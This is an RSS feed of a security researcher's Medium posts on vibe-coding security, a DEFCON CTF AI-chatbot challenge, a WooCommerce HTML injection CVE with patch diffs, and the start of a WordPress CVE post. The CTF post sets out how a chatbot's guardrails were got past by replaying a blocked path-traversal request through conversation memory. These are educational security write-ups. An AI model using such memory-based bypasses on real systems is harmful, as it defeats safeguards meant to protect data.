<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by drop on Medium]]></title>
        <description><![CDATA[Stories by drop on Medium]]></description>
        <link>https://medium.com/@dropn0w?source=rss-c90e59206658------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*4QpLod3k4U_H3kNJ</url>
            <title>Stories by drop on Medium</title>
            <link>https://medium.com/@dropn0w?source=rss-c90e59206658------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 23:19:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dropn0w/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[If You’re Vibe Coding, You’re Certainly at Risk — Let Me Explain Why]]></title>
            <link>https://dropn0w.medium.com/if-youre-vibe-coding-you-re-certainly-at-risk-let-me-explain-why-11d0e1f88acb?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/11d0e1f88acb</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vibe-coding]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Thu, 22 Jan 2026 21:37:17 GMT</pubDate>
            <atom:updated>2026-01-22T23:42:57.302Z</atom:updated>
            <content:encoded><![CDATA[<h3>If You’re Vibe Coding, You’re Certainly at Risk — Let Me Explain Why</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MNdELP4Z8wEXMH4v43BQCg.png" /></figure><p>For the past few months, I’ve been building a personal project using AI heavily for code generation. The project achieved its functional goals surprisingly well. But it also turned into a security nightmare. Let me explain why.</p><p>Before we dive in, a bit of context about me:</p><ul><li>I’m not a full-stack or backend developer. I can code scripts and automation, but I’m not a traditional software engineer.</li><li>I have a strong academic and professional background in data analytics, data science, data structures, and database architecture.</li><li>I’m a cybersecurity professional, specifically a pentester and security researcher focused on application security (web, APIs, and AI). I can read code and spot vulnerabilities.</li></ul><p>With that in mind, let’s jump into the experiment.</p><h3>The Experiment: Building My Own Automation Platform with AI</h3><p>Since I started bug bounty, I’ve wanted to build my own automation platform. Something I fully understand. Something that does exactly what I need, when I need it.</p><p>Before AI, this was unrealistic. I <em>could</em> have built it, but it would have taken months or years in my limited free time. With AI, I reached my goal in a reasonable timeframe. But with serious caveats.</p><p>I won’t go deep into the platform’s functionality here. This post is about <strong>lessons learned from a development and security perspective</strong>.</p><p>This is not a simple project. It:</p><ul><li>Handles large volumes of data</li><li>Scales instances dynamically</li><li>Uses parallel workers</li><li>Implements user roles, authentication, and authorization</li><li>Includes AI agents for automation tasks</li></ul><p>This is not a weekend project. Today it’s around <strong>30,000 lines of code</strong>, multi-language, full-stack: frontend, backend, scripts, workers, AI agents, everything.</p><h3>Phase 1: Designing the Foundation (Without AI)</h3><p>At the beginning, I designed the database manually. I spent a lot of time thinking about schemas, modules, data flows, and relationships.</p><p>For this project, <strong>data is the backbone</strong>, so the database architecture had to be solid.</p><p>Once the schema was done, I used AI to refine it: indexing, redundancy removal, structure optimization. It worked incredibly well.</p><p>But I already knew what I was doing. AI was polishing, not inventing. This decision was crucial: <strong>I wanted control over the project’s direction.</strong></p><h3>Phase 2: “Vibe Coding” the System</h3><p>With the database defined, I started developing modules.</p><p>I knew this wasn’t something AI could build in a single prompt. So I split the project into multiple “vibe coding sessions.”</p><p>My workflow looked like this:</p><ol><li>Decide which tools and architecture to use (without AI).</li><li>Use AI to generate scripts with detailed instructions and few-shot prompts.</li><li>Build API endpoints to orchestrate the scripts.</li><li>Debug, test, and refine manually.</li></ol><p>I was the <strong>architect</strong>, AI my junior developer.</p><p>Functionally, it worked. Actually, it worked <em>really</em> well. And that’s where the danger starts.</p><h3>Phase 3: The Reality Check — Security</h3><p>The platform worked exactly as intended. But something felt off. So I started looking at security.</p><p>First observation,<strong> Broken Access Control Everywhere</strong></p><p>Without any AI assistance, I found broken access controls across multiple endpoints. The AI built what I asked for. It didn’t build it securely.</p><p>Second obvious observation, <strong>Inconsistent Codebase. </strong>Because I vibe coded in multiple sessions with different models, the code was inconsistent. Different patterns, different styles, different assumptions. <strong>AI happily wrote code in isolation</strong>, without understanding the whole system.</p><p>I deliberately <strong>hardcoded API keys </strong>to see if AI would complain. It didn’t. Most of the time, it didn’t even mention it.</p><h3>Phase 4: Letting AI Audit Itself</h3><p>Then I tried something interesting: <strong>I used multiple AI models to review the codebase.</strong></p><p>My process:</p><ol><li>Ask Model A for a deep code review (no security mention).</li><li>Ask Model A again, explicitly focusing on security.</li><li>Repeat with two other models.</li><li>Aggregate six independent reports.</li><li>Ask the main model to consolidate them into one master report.</li><li>Ask it to apply the fixes.</li></ol><p>This “<strong>AI peer review</strong>” approach worked surprisingly well. Each model caught things others missed.</p><h3>So the question, What Went Wrong?</h3><p>I would say, a lot, here are some real issues that existed in the project:</p><ul><li><strong>Session handling flaws leading to critical vulnerabilities: </strong>Sessions are how a system remembers who you are after login. If session handling is weak, attackers can hijack other users’ sessions and log in as them without knowing any passwords.</li><li><strong>Information disclosure: </strong>The application was leaking internal data (errors, stack traces, system details, or sensitive information). Attackers can use this information to map your system and find more serious vulnerabilities.</li><li><strong>Lack of input validation (potential XSS): </strong>User input was not properly filtered or sanitized. This means an attacker could inject malicious JavaScript (XSS) and steal user data, sessions, or manipulate the application in users’ browsers.</li><li><strong>No rate limiting: </strong>There was no limit on how many requests someone could send. This enables brute-force attacks on passwords, API abuse, or denial-of-service attacks that can take your system down.</li><li><strong>Hardcoded credentials: </strong>Secrets like API keys or passwords were embedded directly in the code. If the code leaks (GitHub, logs, backups), attackers instantly get full access to services and infrastructure.</li><li><strong>Broken access control in APIs: </strong>Users could access endpoints or data they should not be allowed to. This can lead to privilege escalation, data leaks, or full account takeover.</li><li><strong>Risk of remote code execution due to custom script execution:</strong>Some parts of the system executed scripts dynamically. If not tightly controlled, attackers could execute arbitrary code on the server, leading to full system compromise.</li><li><strong>No documentation: </strong>Without documentation, future developers (or even yourself in six months) will not understand how the system works. This leads to mistakes, insecure changes, and technical debt.</li><li><strong>No logging: </strong>The system did not log important events. If you get hacked, you won’t know what happened, what was accessed, or how to respond.</li><li><strong>No testing environment: </strong>Changes were not tested in a staging environment. Bugs and vulnerabilities can go directly to production, where real users and data are exposed.</li><li><strong>Duplicate and inefficient code: </strong>Repeated or poorly optimized code increases complexity, introduces bugs, and makes security fixes harder to apply consistently.</li><li><strong>Performance bottlenecks: </strong>Some parts of the system were slow or resource-heavy. Attackers can exploit this to degrade performance or cause denial-of-service.</li><li><strong>No CI/CD pipeline: </strong>There was no automated pipeline to test and deploy code. This increases human error, inconsistent deployments, and security regressions.</li><li><strong>Poor long-term maintainability structure: </strong>The architecture was not designed for growth. Over time, the project becomes harder to update, secure, and scale, turning into a fragile system that nobody fully understands.</li></ul><p>So as you can see, from a functional point of view, it worked. <strong>From a security and engineering perspective, it was a disaster.</strong></p><h3>Why This Should Scare You</h3><p>I’m a pentester. I look for these issues professionally. If I had deployed this project without auditing it, it would have been trivial to compromise.</p><p>Now imagine:</p><ul><li>A startup founder</li><li>A no-code builder</li><li>A development team forced to ship fast</li><li>A “AI built my SaaS in 24h” Twitter hero</li></ul><p>Shipping to production without security knowledge.</p><p>There are already real cases of AI-built SaaS platforms getting hacked within hours. Not by elite hackers, but by script kiddies. Now imagine a motivated malicious actor.</p><h3>Takeaways from This Experiment</h3><ol><li><strong>Plan before prompting.</strong> Architecture first, AI second.</li><li><strong>If you don’t understand code and security, don’t ship to production.</strong> Period.</li><li><strong>Force AI to review the project before coding.</strong> Consistency matters.</li><li><strong>Explicitly enforce security in prompts.</strong> AI optimizes for “works,” not “secure.”</li><li><strong>Use version control (Git).</strong> AI can and will break your code.</li><li><strong>Big projects cost tokens.</strong> Context = money.</li><li><strong>Use multiple models and cross-review.</strong> AI peer review is powerful.</li><li><strong>Always do a real code review and security test before production.</strong> Otherwise, assume you are vulnerable.</li></ol><h3>Additional Points</h3><p>When you use hosted AI tools, you are trusting a third party with your code. Depending on the provider and configuration, data retention and training policies vary. You need to clearly understand what you are sharing and how it is stored or reused. This is a real risk, especially for proprietary or sensitive projects.</p><p>In this write-up, I also didn’t cover the importance of running this kind of platform on a secure server and hardened infrastructure. That layer is just as critical. A secure codebase deployed on an insecure infrastructure is still insecure. Proper network segmentation, secret management, hardening, monitoring, and cloud security controls are essential to support any serious AI-driven project.</p><h3>Final Thought</h3><p>Vibe coding is powerful. It’s fun. It’s productive. But it’s also dangerous.</p><p>AI has dramatically lowered the barrier to building software, this project was proof of that. But it has not lowered the barrier to building secure software.</p><p>In this new era of AI-driven development, <strong>security testing is no longer optional. It is mandatory.</strong></p><p>If you’re shipping AI-generated code, assume it is insecure until proven otherwise.</p><p>If this topic resonates with you, feel free to connect with me on <a href="https://x.com/dropn0w">X</a> or <a href="https://www.linkedin.com/in/pedropaniago/">LinkedIn</a>. I’m always happy to discuss AI, security, and building systems that don’t collapse under real attackers.</p><p><strong>X (Twitter)</strong>: <a href="https://x.com/dropn0w">@dropn0w</a></p><p><strong>LinkedIn</strong>: <a href="https://www.linkedin.com/in/pedropaniago/">Pedro Paniago</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11d0e1f88acb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[This AI bug cost me a top 5 Spot at DEFCON 33 Bug Bounty Village CTF]]></title>
            <link>https://dropn0w.medium.com/this-ai-bug-cost-me-a-top-5-spot-at-defcon-33-bug-bounty-village-ctf-9e1438aa4b5a?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e1438aa4b5a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[defcon]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Wed, 03 Sep 2025 10:49:01 GMT</pubDate>
            <atom:updated>2025-09-03T10:49:01.412Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4e15kLGf68rJDQE48_pOQ.jpeg" /></figure><p>I missed an AI bug that ended up costing me a place in the <strong>top 5</strong> at the DEFCON 33 Bug Bounty Village CTF.</p><p>During the competition, I spent hours chasing a flag hidden inside an AI/LLM-based challenge. In the end, I missed it, not because of lack of persistence, but because I overlooked something many of us underestimate: <strong>AI memory</strong>.</p><h3>Context</h3><p>The challenge involved a chatbot that required authentication. To get there, I had to exploit another bug that granted me admin access to the internal app, which already gave me one flag.</p><p>Once inside, I noticed the application was packed with features, indeed for this CTF the scope of the different application were BIG, but one functionality stood out to me. In the help section, there was a chatbot, definitely something worth poking at. It didn’t take long to realize I was dealing with an <strong>AI agent powered by tools</strong>. By probing the chatbot, I managed to enumerate and map out its available functions:</p><ul><li><strong>greet_user</strong>: Welcomes and understands user needs.</li><li><strong>http_request: </strong>Fetches and summarizes web content.</li><li><strong>query_docs: </strong>Searches the GeneQuest documentation.</li><li><strong>list_files_under_path: </strong>Lists files in a directory.</li><li><strong>read_file: </strong>Reads the content of a file.</li></ul><h3>My Approach</h3><p>At this stage, the goal was clear: enumerate further and exploit one or more of these tools to capture the flag.</p><h3>1. http_request</h3><p>My first instinct was SSRF. I tested it by providing a link to my Burp Collaborator. The callback worked, headers came through, but nothing useful.<br>Next, I tried prompt injections via external summarization, no luck either.<br>Since the application was making HTTP requests, my next idea was to target localhost or the internal network by abusing SSRF. But as you guessed, it was another dead end. At that point, I realized the backend was locked down tight. Time to move on.</p><h3>2. query_docs</h3><p>This one was interesting. I noticed it could read system markdown .md files when combined with files discovered using the list_files_under_path tool.<br>I tried abusing it to read /etc/passwd,without success. It turned out the application was restricted to reading only Markdown files, and only within its directory scope. Another dead end.</p><h3>3. list_files_under_path</h3><p>Things started to become more clear with this tool. I could list files not only in the current directory but also in the parent folder. That’s where I spotted it: <strong>flag.txt</strong>. At that point, I knew the objective, use read_file to capture it.</p><h3>4. read_file</h3><p>Here’s where things got tough. The tool was configured to read files only from the archive/docs/ directory. However, the flag I needed was sitting just one level above, in archive/. Seemed trivial, classic path traversal, right? I thought so too…</p><p>But every attempt I made, dozens of them, was <strong>blocked by the guardrails</strong>. I tried multiple methods; encoding, obfuscation, different bypass tricks… nothing worked, frustrating.</p><p>It was Sunday morning, 4:30 a.m. (9h jet lag, thanks). I kept hammering until 9:55 a.m. I was sitting in the <strong>top 8</strong>, and this flag would easily have pushed me into the <strong>top 4/5</strong>. But even if I cracked it last-minute, I wouldn’t have had time to submit the report to get additional points. I had to let it go.</p><h3>What did I miss then?</h3><p>After the CTF ended, I spoke with the challenge creators. They told me the app had been built <em>secure by design</em>, and the bugs were deliberately introduced at the end.</p><p>I showed them my notes, my whole thought process. They were impressed with how deep I had enumerated the system. But they pointed out the key thing I missed: <strong>AI</strong> <strong>MEMORY</strong>.</p><p>So basically, the chatbot’s guardrails filtered the <strong>current message</strong>, but not the <strong>history of past messages (its memory)</strong>. So, the trick was:</p><ol><li>Send a malicious prompt containing with a <strong>path traversal payload </strong>asking to read <strong>flag.txt</strong> in the <strong>archive</strong> folder, which gets blocked (normal behavior).</li><li>In the <em>next</em> message, ask the bot to “<strong>use the previous message as additional input”, </strong>forcing it to rely on memory.</li><li>By leveraging its memory, the bot executes the previous payload blindly. Since the malicious input isn’t in the current message, it slips past the guardrails and filtering. BINGO!</li></ol><p>That was the bug.</p><h3>Lessons Learned</h3><p>I had been trying too hard to crack it with <strong>zero-shot techniques</strong>, when the real solution was a <strong>memory-based attack</strong>.</p><p>And that’s the bigger lesson here: memory in AI systems isn’t just a feature, it’s an <strong>attack surface</strong>. Yet, it’s still barely covered in most AI security trainings or content out there.</p><p>In chatbots especially,<em> memory stitches together conversations and context</em>. In this challenge, they used a <strong>short-term memory</strong> tied to the session. That design detail became the weak spot.</p><p>For anyone curious, these two resources helped me rethink memory in AI systems:</p><p><strong>Google’s breakdown of AI memory types (video)</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FUF230UuclZM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DUF230UuclZM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FUF230UuclZM%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b6ee90bb2f570d7bd15a10baa795d3ba/href">https://medium.com/media/b6ee90bb2f570d7bd15a10baa795d3ba/href</a></iframe><p><strong>Another interesting video talking about different types of memories created by Adam Lucek’.</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FVKPngyO0iKg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DVKPngyO0iKg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FVKPngyO0iKg%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6fd0b2a74f9077d413b3c90d5e19b7d3/href">https://medium.com/media/6fd0b2a74f9077d413b3c90d5e19b7d3/href</a></iframe><p>This challenge was a real wake-up call for me, and hopefully for you as well. <strong>AI memory isn’t just a feature, it’s an attack surface.</strong> Playing with it can unlock new attack paths or even bypass the strongest guardrails. It’s a concept we, as offensive security researchers, need to pay far more attention to.</p><p>I hope this write-up has helped you better understand the impact of AI memory in AI applications. If you’d like to continue the discussion or share your thoughts, feel free to reach out or drop a comment.</p><p>You can also find me on <a href="https://x.com/dropn0w">X (twitter</a>) or <a href="https://www.linkedin.com/in/pedropaniago/">LinkedIn</a>.</p><p><strong>X (Twitter)</strong>: <a href="https://x.com/dropn0w">@dropn0w</a></p><p><strong>LinkedIn</strong>: <a href="https://www.linkedin.com/in/pedropaniago/">Pedro Paniago</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e1438aa4b5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Over 7 Million WooCommerce Sites Affected by a Simple HTML Injection: CVE-2024–9944 Analysis]]></title>
            <link>https://dropn0w.medium.com/over-7-million-woocommerce-sites-affected-by-a-simple-html-injection-cve-2024-9944-analysis-ce81c918c39a?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce81c918c39a</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[woocommerce]]></category>
            <category><![CDATA[wordpress]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Thu, 17 Oct 2024 09:12:31 GMT</pubDate>
            <atom:updated>2024-10-17T09:12:31.238Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gjz1DQ_a4G2tCVRfbIJn1w.png" /></figure><p>Let’s talk about a security research I conducted a few months ago. As you might know, I like hunting for 0-days in WordPress plugins, but this time, I targeted a big player in the WordPress ecosystem: the <a href="https://wordpress.org/plugins/woocommerce/">WooCommerce</a> plugin.</p><p>When I first began hunting for 0-days in WordPress Plugins, I noticed that WooCommerce has several sub-plugins that extend its functionality, and I knew I should eventually take a closer look at the WooCommerce ecosystem. I saw this as a great opportunity to discover some vulnerabilities.</p><p>Indeed, WooCommerce had over 7 million active installations when writing this write-up, making it the most popular e-commerce plugin and ranking in the top two most popular WordPress plugins, according to the WordPress website: <a href="https://wordpress.com/blog/2024/01/05/10-most-popular-plugins-wordpress-dot-com/">https://wordpress.com/blog/2024/01/05/10-most-popular-plugins-wordpress-dot-com/</a></p><p>In this write-up, we will focus on <strong>CVE-2024–9944</strong>, a 0-day I identified on <a href="https://wordpress.org/plugins/woocommerce">WooCommerce core</a> in May 2024.</p><p><strong>CVE-2024–9944</strong> is an unauthenticated stored HTML injection vulnerability I identified while testing the WooCommerce plugin. I discovered that a malicious user could inject harmful HTML into the “Order Notes” field when placing an order. The injected HTML is executed in<strong> two distinct locations</strong>:</p><ol><li><strong>Order Confirmation Page</strong>: When an order is submitted, the order confirmation page is generated with a unique URL. An attacker can inject malicious HTML tags into the “Order Notes,” which would then appear on the confirmation page. Since this is a unique URL, the attacker could use it to launch phishing attacks or other social engineering tactics.</li><li><strong>New Order Confirmation Email</strong>: When an order is placed, the administrator of the e-commerce site receives a notification via email. The injected HTML in the order notes is rendered in the email body, potentially leading to phishing attacks or social engineering attempts, this time directly targeting administrators.</li></ol><p>It’s important to note that the “<strong>Order Notes</strong>” field is <strong>enabled by default</strong> in WooCommerce, so there is a high likelihood that websites running <strong><em>versions ≤ 9.0.2 </em></strong>are still affected by this bug. The issue has been resolved in <strong><em>version 9.1.0 (July 2024)</em></strong>.</p><p><strong>Readme.txt on WooCommerce version 9.1.0</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*0Jcrr7vMS3e92Z6v7kCfZw.png" /></figure><h3>Technical Findings and PoC:</h3><p>When I first discovered this bug, I found it through a dynamic analysis of the plugin. I then reviewed the code to see if I could escalate the issue further, potentially turning it into a stored XSS. After some investigation, I concluded that I could only exploit it as an HTML injection, as WooCommerce was using the correct functions to block JavaScript execution.</p><p>As I mentioned earlier, in all WooCommerce versions ≤ 9.0.2, it’s possible to inject HTML code into the “Order Notes” field. To do this, all you need to do is to add a comment by selecting “<strong>Add a note to your order</strong>” option and inject any HTML code you want.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*OBxYOaYAwZgjLu8fx75axA.png" /></figure><p>A unique URL is generated for the order confirmation page when the order is placed. On this page, the injected HTML tag will be executed and displayed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*gGiGapyBdjN1r76b-PZsEA.png" /></figure><p>The URL looks something like this:</p><p><a href="http://localhost:1337/?page_id=15&amp;order-received=36&amp;key=wc_order_X3sr1cPV47oRA">https://&lt;DOMAIN&gt;/?page_id=15&amp;order-received=36&amp;key=wc_order_X3sr1cPV47oRA</a></p><p>I believe this unique URL is generated so the user can always access their order confirmation page if needed. In that sense, it’s a static URL. Consequently, an attacker could share this URL with others, and the injected HTML would always be executed when accessed.</p><p>From the administrator’s perspective, they will receive the following email notifications if email alerts are enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*PFa8jO1HXuvmRu20h-GQwA.png" /></figure><p>As we can see in the email, the injected HTML is rendered in the “Note” section, demonstrating that administrators are also impacted through the order confirmation email.</p><blockquote>Yes, it was simple as that. I was pretty surprised how this bug had never been reported before.</blockquote><p>By analyzing WooCommerce’s codebase in versions 9.0.2 and 9.1.0 (the version where the issue was patched), I observed three changes related to this vulnerability:</p><h4>Location 1: <strong>templates/order/order-details.php</strong></h4><blockquote>Version ≥ 9.0.2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*oaHwU1ZBHJfCZYye6A6hMA.png" /></figure><pre>echo wp_kses_post( nl2br( wptexturize( $order-&gt;get_customer_note() ) ) );</pre><p><strong>Function Used: </strong>wp_kses_post()</p><ul><li>This function is a safe version of wp_kses(), which strips out any potentially harmful HTML but allows a standard set of safe HTML tags like &lt;br&gt;, &lt;p&gt;, &lt;strong&gt;, etc. It’s commonly used to sanitize user input or output in WordPress, particularly when HTML is expected to be present in the content, like in posts or comments.</li></ul><blockquote>From Version 9.1.0</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*CeONiDuEbBB-tvIVigpV-Q.png" /></figure><pre>echo wp_kses( nl2br( wptexturize( $order-&gt;get_customer_note() ) ), array() );</pre><p><strong>Function Used: </strong>wp_kses()</p><ul><li>This function allows for more control over which HTML tags are permitted in the output. In this case, the <strong>array()</strong> argument indicates that no HTML tags are allowed at all, so it strips out all HTML. As a result, the output will only include plain text with no HTML formatting.</li></ul><p><strong>Key Difference:</strong></p><ul><li><strong>First code (wp_kses_post()):</strong> Allows some safe HTML tags in the customer note (like &lt;br&gt;, &lt;p&gt;, etc.).</li><li><strong>Second code (wp_kses(array())):</strong> Strips <strong>all</strong> HTML tags, leaving only plain text.</li></ul><h4>Location 2: templates/emails/email-order-details.php</h4><blockquote>Version ≥ 9.0.2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*Kex3Rrh_3gKf0gPDvL2IyA.png" /></figure><pre>&lt;td class=&quot;td&quot; style=&quot;text-align:&lt;?php echo esc_attr( $text_align ); ?&gt;;&quot;&gt;&lt;?php echo wp_kses_post( nl2br( wptexturize( $order-&gt;get_customer_note() ) ) ); ?&gt;&lt;/td&gt;</pre><p>As we can observe, they once again use the wp_kses_post() function here, which strips out any potentially harmful HTML but allows a standard set of safe HTML tags like &lt;p&gt;, &lt;br&gt;, &lt;strong&gt;, and others.</p><blockquote>From Version 9.1.0</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*nb0jjq8xDhworJIAVFCW3w.png" /></figure><pre>&lt;td class=&quot;td&quot; style=&quot;text-align:&lt;?php echo esc_attr( $text_align ); ?&gt;;&quot;&gt;&lt;?php echo wp_kses( nl2br( wptexturize( $order-&gt;get_customer_note() ) ), array() ); ?&gt;&lt;/td&gt;</pre><p><strong>Function Used:</strong> wp_kses(nl2br(wptexturize($order-&gt;get_customer_note())),array())</p><p>Similar to the fix they implemented on order-details.php, they also applied the same patch using<strong> wp_kses()</strong>,<strong> </strong>allowing for more control over which HTML tags are permitted in the output. In this case, the <strong>array()</strong> argument indicates that no HTML tags are allowed at all, so it strips out all HTML. As a result, the output will only include plain text with no HTML formatting.</p><h4>Location 3: templates/emails/plain/email-order-details.php</h4><blockquote>Version ≥ 9.0.2</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*RbnoedBnwmnVv8ne4-Pvyw.png" /></figure><pre>echo esc_html__( &#39;Note:&#39;, &#39;woocommerce&#39; ) . &quot;\t &quot; . wp_kses_post( wptexturize( $order-&gt;get_customer_note() ) ) . &quot;\n&quot;;</pre><p><strong>Function Used:</strong> wp_kses_post( wptexturize( $order-&gt;get_customer_note() ) )<br>Once again, we see the same code pattern:<br>wp_kses_post() allows safe HTML tags to be preserved in the customer note (like &lt;p&gt;, &lt;br&gt;, etc.), so if the customer note contains HTML, it will be kept as long as it&#39;s “safe”.</p><blockquote>From Version 9.1.0</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*GYEvQzIOKQUQvG9EONv_dQ.png" /></figure><pre>echo esc_html__( &#39;Note:&#39;, &#39;woocommerce&#39; ) . &quot;\t &quot; . wp_kses( wptexturize( $order-&gt;get_customer_note() ), array() ) . &quot;\n&quot;;</pre><p><strong>Function Used:</strong> wp_kses( wptexturize( $order-&gt;get_customer_note() ), array() )</p><p>As we can see, WooCommerce used the same strategy to mitigate this issue. They used wp_kses() to strip all HTML tags from the customer note, combined with the array() function, which ensures that no HTML tags are allowed at all, fully mitigating the issue.</p><h4>Research Timeline:</h4><ul><li><strong>13th May 2024</strong>: Bug identified in WooCommerce version 8.8.3 and reported to Automattic via HackerOne.</li><li><strong>11th July 2024</strong>: The issue was fixed and released by WooCommerce in <a href="https://github.com/woocommerce/woocommerce/releases/tag/9.1.0">version 9.1.0</a>.</li><li><strong>31st August 2024</strong>: Report closed and marked as solved on HackerOne.</li><li><strong>14th October 2024</strong>: CVE assigned to the bug.</li><li><strong>17th October 2024</strong>: Write-up publication.</li></ul><h4>References:</h4><p><strong>WordPress WooCommece Page</strong>: <a href="https://wordpress.org/plugins/woocommerce/">https://wordpress.org/plugins/woocommerce/</a></p><p><strong>WooCommerce 9.1.0 source code</strong>: <a href="https://github.com/woocommerce/woocommerce/releases/tag/9.1.0">https://github.com/woocommerce/woocommerce/releases/tag/9.1.0</a></p><p><strong>WooCommerce 9.0.2 source code</strong> (last version vulnerable to this issue): <a href="https://github.com/woocommerce/woocommerce/releases/tag/9.0.2">https://github.com/woocommerce/woocommerce/releases/tag/9.0.2</a></p><p><strong>Wordfence CVE page</strong>: <a href="https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce/woocommerce-902-unauthenticated-html-injection">https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/woocommerce/woocommerce-902-unauthenticated-html-injection</a></p><p>To mitigate this issue, simply update WooCommerce to the latest version.</p><p>I hope this write-up has helped you better understand all the aspects of CVE-2024–9944. Feel free to reach out with any questions. You can find me on <a href="https://x.com/dropn0w">Twitter</a> or <a href="https://www.linkedin.com/in/pedropaniago/">LinkedIn</a>.</p><p><strong>Twitter</strong>: <a href="https://x.com/dropn0w">@dropn0w</a></p><p><strong>LinkedIn</strong>: <a href="https://www.linkedin.com/in/pedropaniago/">Pedro Paniago</a></p><p>Keep learning, keep hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce81c918c39a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Dark Side of Contact Forms: How I Identified 7 CVEs in WordPress Plugins]]></title>
            <link>https://dropn0w.medium.com/the-dark-side-of-contact-forms-how-i-identified-7-cves-in-wordpress-plugins-30f6111dfebf?source=rss-c90e59206658------2</link>
            <guid isPermaLink="false">https://medium.com/p/30f6111dfebf</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[drop]]></dc:creator>
            <pubDate>Tue, 02 Jul 2024 11:55:01 GMT</pubDate>
            <atom:updated>2024-07-02T12:08:06.465Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*UUhfDQO9MYEoLBeySPcgmg.png" /></figure><p>Today, I am publishing the security research project I recently conducted. This project led to the discovery of 7 CVEs, which affected over 7 million WordPress websites.</p><p>In December 2023, I took on a challenge to discover at least one CVE in the WordPress core, plugin, or theme. This motivation came partly from the fact that I wanted to have my first CVE, and also because Wordfence was running a special bug bounty program for several days during that month.</p><p>As it was my first time undertaking such research, I wasn’t exactly sure where to start or what to focus on. Initially, I targeted plugins with over 50,000 installations that hadn’t been updated recently. My reasoning was that if they weren’t frequently updated, they might be weak regarding security. However, I was wrong on that point. In fact, the lack of frequent updates doesn’t necessarily mean the application is insecure. So, I needed to change my approach.</p><p>One type of research I find intriguing involves pre-authenticated vulnerabilities, similar to those that <a href="https://www.assetnote.io/resources/research"><strong>Assetnote</strong></a> identifies and publishes on their blog. Therefore, pre-authenticated, or unauthenticated attacks if you prefer, became my starting point. I needed to think about the types of vulnerabilities in a WordPress context that could present as unauthenticated.</p><p>Immediately, I recalled some Capture The Flag (CTF) challenges I solved, which involved WordPress. To solve these CTFs, 